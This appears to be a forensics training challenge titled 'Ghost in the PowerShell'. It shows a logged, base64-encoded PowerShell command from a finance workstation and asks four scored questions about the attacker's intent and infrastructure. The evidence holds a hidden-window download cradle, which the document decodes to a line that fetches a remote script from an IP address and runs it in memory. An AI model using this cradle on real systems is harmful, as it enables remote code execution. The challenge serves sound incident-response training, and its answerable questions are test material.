all investigations
DFIR / Forensicsmedium
Ghost in the PowerShell
An endpoint on the finance subnet triggered an EDR alert for a suspicious encoded PowerShell command. Decode the transcript and identify the attacker's intent and infrastructure.
// evidence
Windows PowerShell Operational Log (Event 4104)— Script block logging capture
TimeCreated: 2026-04-11T13:22:07Z
Computer: FIN-WKS-14
User: CORP\j.reyes
ScriptBlockText:
powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMQAwADAALgA4ADcALgAxADIALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=
# Base64 decodes (UTF-16LE) to:
# IEX(New-Object Net.WebClient).DownloadString('http://185.100.87.12/update.ps1')
// tasks (0/4)
1
Which cmdlet alias is used to execute the downloaded payload in memory? · 20 pts
// graded hints — spend XP to unstick
2
What is the full URL the payload is downloaded from? · 25 pts
// graded hints — spend XP to unstick
3
What compromised domain user account executed this? (format DOMAIN\\user) · 20 pts
// graded hints — spend XP to unstick
4
Name one PowerShell flag used to hide the window. · 15 pts
// graded hints — spend XP to unstick